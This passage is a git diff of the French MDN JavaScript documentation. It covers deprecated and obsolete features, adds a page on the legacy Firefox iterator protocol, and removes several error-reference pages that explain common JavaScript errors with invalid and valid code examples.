{{jsxref("RegExp.lastMatch", "$&")}}Voir lastMatch.
{{jsxref("RegExp.lastMatch", "$&")}}Voir lastParen.
{{jsxref("RegExp.leftContext", "$`")}}Voir leftContext.
{{jsxref("RegExp.rightContext", "$'")}}Voir rightContext.
{{jsxref("RegExp.input", "input")}}La chaîne par rapport à laquelle on recherche une correspondance grâce à l'expression rationnelle.
{{jsxref("RegExp.lastMatch", "lastMatch")}}Les derniers caractères correspondants.
{{jsxref("RegExp.lastParen", "lastParen")}}La dernière sous-chaîne (groupe entre parenthèses) correspondante si elle existe.
{{jsxref("RegExp.leftContext", "leftContext")}}La sous-chaîne qui précède la correspondance la plus récente.
{{jsxref("RegExp.rightContext", "rightContext")}}La sous-chaîne qui suit la correspondance la plus récente.
+ +

Les propriétés qui suivent sont désormais des propriétés des instances de RegExp et ne sont plus des propriétés de l'objet RegExp :

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + +
PropriétéDescription
{{jsxref("RegExp.global", "global")}}Permet d'utiliser une expression rationnelle pour relever l'ensemble des correspondances ou uniquement la première.
{{jsxref("RegExp.ignoreCase", "ignoreCase")}}Définit si la casse doit être ignorée ou non lors de la recherche d'une correspondance.
{{jsxref("RegExp.lastIndex", "lastIndex")}}L'index à partir duquel chercher la prochaine correspondance.
{{jsxref("RegExp.multiline", "multiline")}}Définit si la recherche doit s'effectuer sur une seule ligne ou plusieurs.
{{jsxref("RegExp.source", "source")}}Le texte du motif.
+ +

Méthodes de RegExp

+ +
    +
  • La méthode compile est dépréciée.
    • +
  • La méthode valueOf n'est plus spécifiquement liée à RegExp. Utilisez {{jsxref("Object.valueOf()")}}.
    • +
+ +

Propriétés de Function

+ +
    +
  • Les propriétés {{jsxref("Objets_globaux/Function/caller", "caller")}} et {{jsxref("Objets_globaux/Function/arguments", "arguments")}} sont dépréciées car elles permettaient de fuiter l'appelant de la fonction. En lieu et place de la propriété arguments, c'est l'objet {{jsxref("Fonctions/arguments", "arguments")}} qui doit être utilisée (notamment dans les fermetures).
    • +
+ +

Générateur historique

+ +
    +
  • {{jsxref("Instructions/Legacy_generator_function", "L'instruction pour le générateur historique")}} et {{jsxref("Opérateurs/Legacy_generator_function", "l'expression de fonction du générateur historique")}} sont dépréciées. Il faut utiliser {{jsxref("Instructions/function*", "L'instruction function* ")}} et {{jsxref("Opérateurs/function*", "l'expression function*")}} à la place.
    • +
  • {{jsxref("Opérateurs/Compréhensions_de_tableau", "Les compréhensions de tableaux JS1.7/JS1.8", "#Diff.C3.A9rences_avec_les_compr.C3.A9hensions_pr.C3.A9c.C3.A9dentes_JS1.7.2FJS1.8")}} et {{jsxref("Opérateurs/Compréhensions_de_générateur", "les compréhensions de générateurs JS1.7/JS1.8", "#Differences_to_the_older_JS1.7.2FJS1.8_comprehensions")}} sont dépréciées.
    • +
+ +

Itérateur

+ +
    +
  • {{jsxref("Objets_globaux/StopIteration", "StopIteration")}} est déprécié.
    • +
  • {{jsxref("Objets_globaux/Iterator", "Iterator")}} est déprécié.
    • +
+ +

Méthode d'Object

+ +
    +
  • {{jsxref("Object.watch", "watch")}} et {{jsxref("Object.unwatch", "unwatch")}} sont dépréciés. L'objet {{jsxref("Proxy")}} doit être utilisé à la place.
    • +
  • __iterator__ est déprécié.
    • +
  • {{jsxref("Object.noSuchMethod", "__noSuchMethod__")}} est déprécié. {{jsxref("Proxy")}} doit être utilisé à la place.
    • +
+ +

Méthodes de Date

+ +
    +
  • {{jsxref("Objets_globaux/Date/getYear", "getYear")}} et {{jsxref("Objets_globaux/Date/setYear", "setYear")}} sont impactés par le « bug de l'an 2000 » et ont été remplacés par {{jsxref("Objets_globaux/Date/getFullYear", "getFullYear")}} et {{jsxref("Objets_globaux/Date/setFullYear", "setFullYear")}}.
    • +
  • {{jsxref("Objets_globaux/Date/toISOString", "toISOString")}} doit être utilisé à la place de la méthode {{jsxref("Global_Objects/Date/toGMTString", "toGMTString")}} qui est dépréciée.
    • +
  • {{jsxref("Objets_globaux/Date/toLocaleFormat", "toLocaleFormat")}} est dépréciée.
    • +
+ +

Fonctions

+ +
    +
  • {{jsxref("Opérateurs/Expression_de_fermetures", "Les expressions de fermetures", "", 1)}} sont dépréciées. Il faut utiliser {{jsxref("Opérateurs/L_opérateur_function", "function")}} ou {{jsxref("Fonctions/Fonctions_fléchées", "les fonctions fléchées", "", 1)}} à la place.
    • +
+ +

Proxy

+ +
    +
  • Proxy.create et Proxy.createFunction sont dépréciées. L'API {{jsxref("Objets_globaux/Proxy", "Proxy")}} doit être utilisée à la place.
    • +
  • Les trappes de captures suivantes sont obsolètes : +
      +
    • hasOwn ({{bug(980565)}}, Firefox 33).
      • +
    • getEnumerablePropertyKeys ({{bug(783829)}}, Firefox 37)
      • +
    • getOwnPropertyNames ({{bug(1007334)}}, Firefox 33)
      • +
    • keys ({{bug(1007334)}}, Firefox 33)
      • +
    +
    • +
+ +

Séquences d'échappement

+ +
    +
  • Les séquences d'échappement octales (\ suivi par un, deux ou trois chiffres octaux) sont dépréciées pour les chaînes de caractères et les littéraux d'expressions rationnelles.
    • +
  • Les fonctions {{jsxref("Objets_globaux/escape", "escape")}} et {{jsxref("Objets_globaux/unescape", "unescape")}} sont dépréciées. Ce sont les méthodes et objets {{jsxref("Objets_globaux/encodeURI", "encodeURI")}}, {{jsxref("Objets_globaux/encodeURIComponent", "encodeURIComponent")}}, {{jsxref("Objets_globaux/decodeURI", "decodeURI")}} ou {{jsxref("Objets_globaux/decodeURIComponent", "decodeURIComponent")}} qui doivent être utilisées pour encoder/décoder les séquences d'échappement des caractères spéciaux.
    • +
+ +

Méthodes de String

+ +
    +
  • Les méthodes d'enrobage HTML telles que {{jsxref("String.prototype.fontsize")}} et {{jsxref("String.prototype.big")}} sont dépréciées.
    • +
  • {{jsxref("String.prototype.quote")}} a été retiré de Firefox 37.
    • +
  • Le paramètre non-standard flags de {{jsxref("String.prototype.search")}}, {{jsxref("String.prototype.match")}}, et {{jsxref("String.prototype.replace")}} sont dépréciés.
    • +
  • {{jsxref("String.prototype.substr")}} ne sera sans doute pas retiré prochainement mais il est défini dans l'annexe B du standard ECMA-262 dont l'introduction précise clairement que « les développeurs ne devraient pass utiliser ou présupposer l'existence de ces fonctionnalités et de ces comportements lors de l'écriture de nouveau code ECMAScript ».
    • +
+ +

Fonctionnalités obsolètes

+ +

Ces fonctionnalités sont obsolètes et ont intégralement été retirées de JavaScript. Elles ne peuvent plus être utilisées.

+ +

Object

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
PropriétéDescription
{{jsxref("Objets_globaux/Object/count", "__count__")}}Renvoie le nombre de propriétés énumérables d'un objet défini par l'utillisateur.
{{jsxref("Objets_globaux/Object/Parent", "__parent__")}}Pointe vers le contexte d'un objet.
{{jsxref("Global_Objects/Object/eval", "Object.prototype.eval()")}}Évalue une chaine de caractères étant du code JavaScript, dans le contexte de l'objet indiqué.
{{jsxref("Object.observe()")}}Observe les modifications apportées à un objet de façon asynchrone.
{{jsxref("Object.unobserve()")}}Retire les observateurs ajoutés à un objet.
{{jsxref("Object.getNotifier()")}}Crée un objet qui permet de déclencher un changement de façon synthétique.
+ +

Function

+ + + + + + + + + + + + +
PropriétéDescription
{{jsxref("Objets_globaux/Function/arity", "arity")}}Nombre d'arguments déclarés pour une fonction.
+ +

Array

+ + + + + + + + + + + + + + + + +
PropriétéDescription
{{jsxref("Array.observe()")}}Observe les modifications apportées à un tableau de façon asynchrone.
{{jsxref("Array.unobserve()")}}Retire les observateurs ajoutés à un tableau.
+ +

Number

+ +
    +
  • {{jsxref("Number.toInteger()")}}
    • +
+ +

ParallelArray

+ +
    +
  • {{jsxref("ParallelArray")}}
    • +
+ +

Instructions

+ +
    +
  • {{jsxref("Instructions/for_each...in", "for each...in")}}, utiliser {{jsxref("Instructions/for...of", "for...of")}} à la place.
    • +
  • La décomposition de variables dans {{jsxref("Instructions/for...in", "for...in")}}, utiliser {{jsxref("Instructions/for...of", "for...of")}} à la place.
    • +
  • Les blocs et expressions let sont obsolètes.
    • +
+ +

E4X

+ +

Voir la page E4X pour plus d'informations.

+ +

Sharp variables

+ +

Voir la page sur les variables « Sharp » en JavaScript pour plus d'informations.

diff --git a/files/fr/web/javascript/reference/deprecated_and_obsolete_features/the_legacy_iterator_protocol/index.html b/files/fr/web/javascript/reference/deprecated_and_obsolete_features/the_legacy_iterator_protocol/index.html new file mode 100644 index 0000000000..e106851141 --- /dev/null +++ b/files/fr/web/javascript/reference/deprecated_and_obsolete_features/the_legacy_iterator_protocol/index.html @@ -0,0 +1,78 @@ +--- +title: Le protocole itérateur historique +slug: Web/JavaScript/Guide/Le_protocole_itérateur_historique +tags: + - JavaScript + - Legacy Iterator +translation_of: >- + Web/JavaScript/Reference/Deprecated_and_obsolete_features/The_legacy_Iterator_protocol +--- +
{{JSSideBar("More")}}
+ +
Non-standard. Ce protocole historique était une fonctionnalité spécifique à SpiderMonkey et est supprimé à partir de Firefox 58. Pour utiliser des itérations par la suite, veuillez utiliser des boucles for..of ainsi que le protocole itérateur.
+ +

Le protocole itérateur obsolète, spécifique à Firefox

+ +

Avant la version 26, Firefox implémentait un autre protocole d'itération semblable à celui défini par ES2015.

+ +

Un objet est un itérateur historique lorsqu'il implémente une méthode next() avec la sémantique suivante et lorsqu'il renvoie une exception {{jsxref("Objets_globaux/StopIteration", "StopIteration")}} à la fin de l'itération :

+ + + + + + + + + + + + +
PropriétéValeur
next +

Une fonction sans argument qui renvoie une valeur.

+
+ +

Les différences entre le protocole historique et celui d'ES2015

+ +
    +
  • La valeur était directement renvoyée par la fonction next alors qu'avec le protocole ES2015, elle est contenue dans une propriété value
    • +
  • La fin de l'itération était signalée par un objet {{jsxref("Objets-globaux/StopIteration", "StopIteration")}}.
    • +
+ +

Un exemple simple utilisant l'ancien protocole

+ +

Exemple

+ +
function créerItérateur(tableau){
+    var nextIndex = 0;
+
+    return {
+       next: function(){
+           if(nextIndex < tableau.length){
+               return tableau[nextIndex++];
+           else
+               throw new StopIteration();
+       }
+    }
+}
+
+var it = créerItérateur(['yo', 'ya']);
+
+console.log(it.next()); // 'yo'
+console.log(it.next()); // 'ya'
+try{
+    console.log(it.next());
+}
+catch(e){
+    if(e instanceof StopIteration){
+         // fin de l'itération
+    }
+}
+
+ +

Voir aussi

+ + diff --git a/files/fr/web/javascript/reference/erreurs/already_has_pragma/index.html b/files/fr/web/javascript/reference/erreurs/already_has_pragma/index.html deleted file mode 100644 index 6521ccba03..0000000000 --- a/files/fr/web/javascript/reference/erreurs/already_has_pragma/index.html +++ /dev/null @@ -1,41 +0,0 @@ ---- -title: 'Warning: -file- is being assigned a //# sourceMappingURL, but already has one' -slug: Web/JavaScript/Reference/Erreurs/Already_has_pragma -tags: - - Avertissement - - Erreurs - - JavaScript -translation_of: Web/JavaScript/Reference/Errors/Already_has_pragma ---- -
{{jsSidebar("Errors")}}
- -

Message

- -
Warning: -fichier- is being assigned a //# sourceMappingURL, but already has one.
- -

Type d'erreur

- -

Un avertissement. L'exécution du script JavaScript n'est pas interrompue.

- -

Quel est le problème ?

- -

Un fichier source map a été défini plus d'une fois pour un fichier source JavaScript donné.

- -

La plupart du temps, les fichiers sources des scripts JavaScript sont fusionnés et minifiés afin que les transferts de fichiers du serveur vers le navigateur soient plus efficaces. Grâce aux fichiers de correspondance des sources (source maps), il est possible d'indiquer au débogueur le code original correspondant. Il existe deux méthodes pour déclarer une correspondance de sources : en utilisant un commentaire ou définissant un en-tête pour le fichier JavaScript.

- -

Exemples

- -

Voici une correspondance de source déclarée via un commentaire dans le fichier :

- -
//# sourceMappingURL=http://exemple.com/chemin/vers/la/sourcemap.map
- -

Une autre méthode consiste à indiquer la source originale dans l'en-tête du fichier JavaScript :

- -
X-SourceMap: /chemin/vers/le/fichier.js.map
- -

Voir aussi

- - diff --git a/files/fr/web/javascript/reference/erreurs/array_sort_argument/index.html b/files/fr/web/javascript/reference/erreurs/array_sort_argument/index.html deleted file mode 100644 index c8aaa54b05..0000000000 --- a/files/fr/web/javascript/reference/erreurs/array_sort_argument/index.html +++ /dev/null @@ -1,47 +0,0 @@ ---- -title: 'TypeError: invalid Array.prototype.sort argument' -slug: Web/JavaScript/Reference/Erreurs/Array_sort_argument -tags: - - Erreurs - - JavaScript - - Reference -translation_of: Web/JavaScript/Reference/Errors/Array_sort_argument ---- -
{{jsSidebar("Errors")}}
- -

Message

- -
TypeError: argument is not a function object (Edge)
-TypeError: invalid Array.prototype.sort argument (Firefox)
-
- -

Type d'erreur

- -

{{jsxref("TypeError")}}

- -

Que s'est-il passé ?

- -

L'argument passé à {{jsxref("Array.prototype.sort()")}} devrait être {{jsxref("undefined")}} ou être une fonction comparant ses opérandes.

- -

Exemples

- -

Cas invalides

- -
[1, 3, 2].sort(5);  // TypeError
-
-var cmp = { asc: (x, y) => x >= y, dsc : (x, y) => x <= y };
-[1, 3, 2].sort(cmp[this.key] || 'asc');  // TypeError
-
- -

Cas valides

- -
[1, 3, 2].sort();   // [1, 2, 3]
-
-var cmp = { asc: (x, y) => x >= y, dsc : (x, y) => x <= y };
-[1, 3, 2].sort(cmp[this.key || 'asc']); // [1, 2, 3]
- -

Voir aussi

- -
    -
  • {{jsxref("Array.prototype.sort()")}}
    • -
diff --git a/files/fr/web/javascript/reference/erreurs/bad_octal/index.html b/files/fr/web/javascript/reference/erreurs/bad_octal/index.html deleted file mode 100644 index 241f127a05..0000000000 --- a/files/fr/web/javascript/reference/erreurs/bad_octal/index.html +++ /dev/null @@ -1,52 +0,0 @@ ---- -title: 'SyntaxError: "x" is not a legal ECMA-262 octal constant' -slug: Web/JavaScript/Reference/Erreurs/Bad_octal -tags: - - Erreurs - - JavaScript - - Mode strict - - Reference - - SyntaxError -translation_of: Web/JavaScript/Reference/Errors/Bad_octal ---- -
{{jsSidebar("Errors")}}
- -

Message

- -
Warning: SyntaxError: 08 is not a legal ECMA-262 octal constant.
-Warning: SyntaxError: 09 is not a legal ECMA-262 octal constant.
-
- -

Type d'erreur

- -

Un avertissement, l'exécution du script JavaScript ne sera pas interrompue.

- -

Quel est le problème ?

- -

Les littéraux de nombres décimaux peuvent démarrer par un zéro suivi d'un autre chiffre. Si tous les chiffres après le 0 de tête sont inférieurs à 8, le nombre est interprété comme un nombre en notation octale. Or, cela ne peut pas être le cas avec 08 et 09 et JavaScript produit un avertissement.

- -

Les littéraux en notation octale et les séquences d'échappement octales sont désormais dépréciées (il y a aura donc un avertissement complémentaire sur la dépréciation de ces notations). Avec ECMAScript 6 et les versions ultérieures, la syntaxe utilise un zéro initial, suivi de la lettre latine « o » en majuscule ou en minuscule ((0o ou 0O). Pour plus d'informations à ce sujet, voir la page sur la grammaire lexicale JavaScript.

- -

Exemples

- -

Nombres invalides en notation octale

- -
08;
-09;
-// SyntaxError: 08 is not a legal ECMA-262 octal constant
-// SyntaxError: "0"-prefixed octal literals and octal escape sequences are deprecated
- -

Nombres valides en notation octale

- -

On utilisera un zéro suivi de la lettre « o » pour indiquer un nombre exprimé en notation octale :

- -
0O755;
-0o644;
-
- -

Voir aussi

- - diff --git a/files/fr/web/javascript/reference/erreurs/bad_radix/index.html b/files/fr/web/javascript/reference/erreurs/bad_radix/index.html deleted file mode 100644 index 37944b3ff8..0000000000 --- a/files/fr/web/javascript/reference/erreurs/bad_radix/index.html +++ /dev/null @@ -1,63 +0,0 @@ ---- -title: 'RangeError: radix must be an integer' -slug: Web/JavaScript/Reference/Erreurs/Bad_radix -tags: - - Erreurs - - JavaScript - - RangeError -translation_of: Web/JavaScript/Reference/Errors/Bad_radix ---- -
{{jsSidebar("Errors")}}
- -

Message

- -
RangeError: invalid argument (Edge)
-RangeError: radix must be an integer at least 2 and no greater than 36 (Firefox)
-RangeError: toString() radix argument must be between 2 and 36 (Chrome)
-
- -

Type d'erreur

- -

{{jsxref("RangeError")}}

- -

Quel est le problème ?

- -

C'est le paramètre utilisé avec la méthode {{jsxref("Number.prototype.toString()")}} ou avec la méthode {{jsxref("BigInt.prototype.toString()")}} pour indiquer la base de conversion qui est en cause. Ce paramètre, optionnel, doit être un nombre entier, compris entre 2 et 36 qui inique la base du système numérique dans lequel on veut représenter les valeurs numériques.

- -

Pourquoi limiter la base à 36 ? Lorsqu'une base est supérieure à 10, on utilise les caractères de l'alphabet pour représenter les chiffres. Or, l'alphabet latin ne possède que 26 caractères. En utilisant donc les 10 chiffres arabes et ces caractères, on possède 36 caractères pour représenter les chiffres d'un nombre.

- -

Généralement, on emploie cette méthode avec des bases fréquemment utilisées :

- - - -

Examples

- -

Exemples invalides

- -
(42).toString(0);
-(42).toString(1);
-(42).toString(37);
-(42).toString(150);
-// On ne peut pas utiliser une telle
-// chaîne pour du formatage :
-(12071989).toString("MM-dd-yyyy");
-
- -

Exemples valides

- -
(42).toString(2);     // "101010" (binary)
-(13).toString(8);     // "15"     (octal)
-(0x42).toString(10);  // "66"     (decimal)
-(100000).toString(16) // "186a0"  (hexadecimal)
-
- -

Voir aussi

- -
    -
  • {{jsxref("Number.prototype.toString()")}}
    • -
diff --git a/files/fr/web/javascript/reference/erreurs/bad_regexp_flag/index.html b/files/fr/web/javascript/reference/erreurs/bad_regexp_flag/index.html deleted file mode 100644 index 54005c38e5..0000000000 --- a/files/fr/web/javascript/reference/erreurs/bad_regexp_flag/index.html +++ /dev/null @@ -1,106 +0,0 @@ ---- -title: 'SyntaxError: invalid regular expression flag "x"' -slug: Web/JavaScript/Reference/Erreurs/Bad_regexp_flag -tags: - - Erreurs - - JavaScript - - SyntaxError -translation_of: Web/JavaScript/Reference/Errors/Bad_regexp_flag ---- -
{{jsSidebar("Errors")}}
- -

Message

- -
SyntaxError: Syntax error in regular expression (Edge)
-SyntaxError: invalid regular expression flag "x" (Firefox)
-SyntaxError: Invalid regular expression flags (Chrome)
-
- -

Type d'erreur

- -

{{jsxref("SyntaxError")}}

- -

Quel est le problème ?

- -

Un marqueur (flag) invalide est utilisé dans une expression rationnelle. Un littéral d'expression rationnelle se compose d'un motif entouré de deux barres obliques, les marqueurs sont ajoutés après la seconde barre oblique. On peut également les indiquer dans le deuxième paramètre du constructeur {{jsxref("RegExp")}}. Les marqueurs d'une expression rationnelle peuvent être utilisés séparément ou combinés, dans n'importe quel ordre. Il existe uniquement cinq marqueurs autorisés en ECMAScript.

- -

Pour ajouter un marqueur sur une expression rationnelle, on utilisera cette syntaxe :

- -
var re = /motif/marqueurs;
-
- -

ou encore :

- -
var re = new RegExp('motif', 'marqueurs');
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
Marqueurs autorisés pour les expressions rationnelles
MarqueurDescription
gRecherche globale.
iRecherche non-sensible à la casse.
mRecherche sur plusieurs lignes.
uUnicode : le motif est interprété comme une suite de codets Unicode.
yLa recherche effectuée est « adhérente » et recherche une correspondance à la position indiquée dans la chaîne cible (cf. {{jsxref("RegExp.sticky", "sticky")}}).
- -

Exemples

- -

Seuls cinq marqueurs d'expression rationnelle sont valides :

- -
/toto/truc;
-
-// SyntaxError: invalid regular expression flag "t"
-
- -

Peut-être souhaitiez-vous créer une expression rationnelle ? Une expression qui contient deux barres obliques est interprétée comme un littéral d'expression rationnelle :

- -
let obj = {
-  url: /docs/Web
-};
-
-// SyntaxError: invalid regular expression flag "W"
-
- -

Peut-être souhaitiez-vous créer une chaîne de caractères ? Dans ce cas, il faut ajouter des quotes (simples ou doubles) afin de former un littéral de chaîne de caractères :

- -
let obj = {
-  url: '/docs/Web'
-};
- -

Marqueurs valides

- -

Voir le tableau ci-avant pour la liste des marqueurs autorisés pour manipuler les expressions rationnelles en JavaScript.

- -
/toto/g;
-/toto/gim;
-/toto/uy;
-
- -

Voir aussi

- - diff --git a/files/fr/web/javascript/reference/erreurs/bad_return_or_yield/index.html b/files/fr/web/javascript/reference/erreurs/bad_return_or_yield/index.html deleted file mode 100644 index e5e015f52d..0000000000 --- a/files/fr/web/javascript/reference/erreurs/bad_return_or_yield/index.html +++ /dev/null @@ -1,57 +0,0 @@ ---- -title: 'SyntaxError: return not in function' -slug: Web/JavaScript/Reference/Erreurs/Bad_return_or_yield -tags: - - Erreurs - - JavaScript - - Reference - - SyntaxError -translation_of: Web/JavaScript/Reference/Errors/Bad_return_or_yield ---- -
{{jsSidebar("Errors")}}
- -

Message

- -
SyntaxError: 'return' statement outside of function (Edge)
-SyntaxError: return not in function (Firefox)
-SyntaxError: yield not in function (Firefox)
-
- -

Type d'erreur

- -

{{jsxref("SyntaxError")}}.

- -

Quel est le problème ?

- -

Une instruction return ou yield est utilisée en dehors d'une fonction. Il est possible que des accolades soient manquantes. Les mots-clés return et yield doivent être utilisés dans une fonction car ils permettent de terminer ou d'arrêter/reprendre l'exécution d'une fonction et de définir une valeur qui doit être renvoyée à l'appelant de la fonction.

- -

Exemples

- -
var encouragement = function(score) {
-  if (score === 147)
-    return "Super !";
-  };
-  if (score > 100) {
-    return "Un record!";
-  }
-}
-
-// SyntaxError: return not in function
- -

À première vue, les accolades semblent correctes mais en regardant de plus près, on voit qu'il manque une accolade ouvrante ("{") après la première instruction if. La version correcte serait :

- -
var encouragement = function(score) {
-  if (score === 147) {
-    return "Maximum!";
-  }
-  if (score > 100) {
-    return "Century!";
-  }
-};
- -

Voir aussi

- - diff --git a/files/fr/web/javascript/reference/erreurs/called_on_incompatible_type/index.html b/files/fr/web/javascript/reference/erreurs/called_on_incompatible_type/index.html deleted file mode 100644 index 0ea10d9cb0..0000000000 --- a/files/fr/web/javascript/reference/erreurs/called_on_incompatible_type/index.html +++ /dev/null @@ -1,75 +0,0 @@ ---- -title: 'TypeError: X.prototype.y called on incompatible type' -slug: Web/JavaScript/Reference/Erreurs/Called_on_incompatible_type -tags: - - Erreurs - - JavaScript - - TypeError -translation_of: Web/JavaScript/Reference/Errors/Called_on_incompatible_type ---- -
{{jsSidebar("Errors")}}
- -

Message

- -
TypeError: 'this' is not a Set object (Edge)
-TypeError: Function.prototype.toString called on incompatible object (Firefox)
-TypeError: Function.prototype.bind called on incompatible target (Firefox)
-TypeError: Method Set.prototype.add called on incompatible receiver undefined (Chrome)
-TypeError: Bind must be called on a function (Chrome)
-
- -

Type d'erreur

- -

{{jsxref("TypeError")}}

- -

Quel est le problème ?

- -

Lorsque cette erreur est levée, cela signifie qu'une fonction (d'un objet donné) est appelé avec une valeur this qui ne correspond pas au type attendu par la fonction.

- -

Cela peut se produire lorsqu'on utilise les méthodes {{jsxref("Function.prototype.call()")}} ou {{jsxref("Function.prototype.apply()")}} et qu'on fournit un argument this dont le type n'est pas celui attendu.

- -

Cela peut également se produire quand on fournit une fonction (sous la forme d'un objet) comme argument d'une autre fonction. Dans ce cas, l'objet ne sera pas capturé comme valeur this pour la fonction. Pour contourner ce problème, on peut fournir une fonction lambda qui effectue l'appel ou utiliser la fonction {{jsxref("Function.prototype.bind()")}} afin que this soit l'objet attendu.

- -

Exemples

- -

Exemples invalides

- -
var monSet = new Set;
-['truc', 'bidule'].forEach(monSet.add);
-// monSet.add est une fonction mais
-// "monSet" n'est pas capturé en tant que this.
-
-var maFonction = function () {
-  console.log(this);
-};
-['truc', 'bidule'].forEach(maFonction.bind);
-// maFonction.bind est une fonction
-// mais "maFonction" n'est pas capturé en tant
-// que this.
-
-
- -

Exemples valides

- -
var monSet = new Set;
-['truc', 'bidule'].forEach(monSet.add.bind(monSet));
-// Cela fonctionne car on lie "monSet" avec this.
-
-var maFonction = function () {
-  console.log(this)
-};
-['truc', 'bidule'].forEach(x => maFonction.bind(x));
-// Cela fonctionne car on utilise
-// la fonction "bind" ce qui permet de
-// créer une fonction lambda qui propage
-// l'argument.
-
-
- -

Voir aussi

- -
    -
  • {{jsxref("Function.prototype.call()")}}
    • -
  • {{jsxref("Function.prototype.apply()")}}
    • -
  • {{jsxref("Function.prototype.bind()")}}
    • -
diff --git a/files/fr/web/javascript/reference/erreurs/cant_access_lexical_declaration_before_init/index.html b/files/fr/web/javascript/reference/erreurs/cant_access_lexical_declaration_before_init/index.html deleted file mode 100644 index 928e57c475..0000000000 --- a/files/fr/web/javascript/reference/erreurs/cant_access_lexical_declaration_before_init/index.html +++ /dev/null @@ -1,62 +0,0 @@ ---- -title: 'ReferenceError: can''t access lexical declaration`X'' before initialization' -slug: Web/JavaScript/Reference/Erreurs/Cant_access_lexical_declaration_before_init -tags: - - Erreur - - JavaScript - - Reference - - ReferenceError -translation_of: Web/JavaScript/Reference/Errors/Cant_access_lexical_declaration_before_init ---- -
{{jsSidebar("Errors")}}
- -

Message

- -
ReferenceError: Use before delaration (Edge)
-ReferenceError: can't access lexical declaration `X' before initialization (Firefox)
-ReferenceError: 'x' is not defined (Chrome)
-
- -

Type d'erreur

- -

{{jsxref("ReferenceError")}}

- -

Quel est le problème ?

- -

Il y a eu un accès à une variable déclarée avec let ou const avant que celle-ci ait été initialisée. Cela peut se produire dans n'importe quelle instruction de bloc avec une variable déclarée avec let ou const et qui est utilisée avant son initialisation.

- -

Exemple

- -

Exemples invalides

- -

Dans l'exemple qui suit, la variable toto est redéclarée dans le bloc avec un second let et elle n'est donc pas initialisée.

- -
function test(){
-   let toto = 33;
-   if (true) {
-      let toto = (toto + 55);
-      // ReferenceError: can't access lexical
-      // declaration `toto` before initialization
-   }
-}
-test();
-
- -

Exemples valides

- -

Afin que toto puisse être modifiée au sein de l'instruction if, on enlèvera la redéclaration dans ce bloc :

- -
function test(){
-   let toto = 33;
-   if (true) {
-      toto = (toto + 55);
-   }
-}
-test();
-
- -

Voir aussi

- - diff --git a/files/fr/web/javascript/reference/erreurs/cant_access_property/index.html b/files/fr/web/javascript/reference/erreurs/cant_access_property/index.html deleted file mode 100644 index 88e96eebef..0000000000 --- a/files/fr/web/javascript/reference/erreurs/cant_access_property/index.html +++ /dev/null @@ -1,59 +0,0 @@ ---- -title: 'TypeError: can''t access property "x" of "y"' -slug: Web/JavaScript/Reference/Erreurs/Cant_access_property -tags: - - Erreurs - - JavaScript - - TypeError -translation_of: Web/JavaScript/Reference/Errors/Cant_access_property ---- -
{{jsSidebar("Errors")}}
- -

Message

- -
TypeError: Unable to get property {x} of undefined or null reference (Edge)
-TypeError: can't access property {x} of {y} (Firefox)
-TypeError: {y} is undefined, can't access property {x} of it (Firefox)
-TypeError: {y} is null, can't access property {x} of it (Firefox)
-
-Exemples
-TypeError: x is undefined, can't access property "prop" of it
-TypeError: x is null, can't access property "prop" of it
-TypeError: can't access property "prop" of undefined
-TypeError: can't access property "prop" of null
-
- -

Types d'erreur

- -

{{jsxref("TypeError")}}.

- -

Quel est le problème ?

- -

On a tenté d'accéder à une propriété sur la valeur {{jsxref("undefined")}} ou {{jsxref("null")}}.

- -

Exemples

- -

Cas invalides

- -
// undefined et null ne possèdent aucune propriété et aucune méthode substring
-var toto = undefined;
-toto.substring(1); // TypeError: x is undefined, can't access property "substring" of it
-
-var toto = null;
-toto.substring(1); // TypeError: x is null, can't access property "substring" of it
-
- -

Corriger le problème

- -

Pour détecter le cas où la valeur utilisée est undefined ou null, on peut utiliser l'opérateur typeof. Par exemple :

- -
if (typeof toto !== 'undefined') {
-  // On sait alors que toto est bien défini et on peut utiliser ses propriétés s'il en a.
-}
- -

Voir aussi

- -
    -
  • {{jsxref("undefined")}}
    • -
  • {{jsxref("null")}}
    • -
diff --git a/files/fr/web/javascript/reference/erreurs/cant_assign_to_property/index.html b/files/fr/web/javascript/reference/erreurs/cant_assign_to_property/index.html deleted file mode 100644 index ecaf275f20..0000000000 --- a/files/fr/web/javascript/reference/erreurs/cant_assign_to_property/index.html +++ /dev/null @@ -1,55 +0,0 @@ ---- -title: 'TypeError: can''t assign to property "x" on "y": not an object' -slug: Web/JavaScript/Reference/Erreurs/Cant_assign_to_property -tags: - - Error - - Errors - - JavaScript - - TypeError -translation_of: Web/JavaScript/Reference/Errors/Cant_assign_to_property ---- -
{{jsSidebar("Errors")}}
- -

Message

- -
TypeError: can't assign to property "x" on {y}: not an object (Firefox)
-TypeError: Cannot create property 'x' on {y} (Chrome)
-
- -

Type d'erreur

- -

{{jsxref("TypeError")}}.

- -

Quel est le problème ?

- -

En mode strict, une exception {{jsxref("TypeError")}} est déclenchée lorsqu'on tente de créer une propriété sur une valeur primitive telle qu'un symbole, une chaîne de caractères, un nombre ou un booleén.

- -

Le problème peut être lié à une valeur qui se trouve à un endroit inattendu ou qu'un équivalent objet d'une valeur primitive est attendu (ex. {{jsxref("String")}} pour la chaîne de caractères ou {{jsxref("Number")}} pour un nombre).

- -

Exemples

- -

Exemple invalide

- -
'use strict';
-
-var foo = "my string";
-// The following line does nothing if not in strict mode.
-foo.bar = {}; // TypeError: can't assign to property "bar" on "my string": not an object
-
- -

Exemple valide

- -

On pourra corriger le problème en convertissant la valeur primitive en sont équivalent objet avec un constructeur (ici {{jsxref("String")}} pour .

- -
'use strict';
-
-var foo = new String("my string");
-foo.bar = {};
-
- -

Voir aussi

- -
    -
  • {{jsxref("Strict_mode")}}
    • -
  • {{Glossary("primitive")}}
    • -
diff --git a/files/fr/web/javascript/reference/erreurs/cant_define_property_object_not_extensible/index.html b/files/fr/web/javascript/reference/erreurs/cant_define_property_object_not_extensible/index.html deleted file mode 100644 index 62c09c1a44..0000000000 --- a/files/fr/web/javascript/reference/erreurs/cant_define_property_object_not_extensible/index.html +++ /dev/null @@ -1,65 +0,0 @@ ---- -title: 'TypeError: can''t define property "x": "obj" is not extensible' -slug: Web/JavaScript/Reference/Erreurs/Cant_define_property_object_not_extensible -tags: - - Erreurs - - JavaScript - - TypeError -translation_of: Web/JavaScript/Reference/Errors/Cant_define_property_object_not_extensible ---- -
{{jsSidebar("Errors")}}
- -

Message

- -
TypeError: Cannot create property for a non-extensible object (Edge)
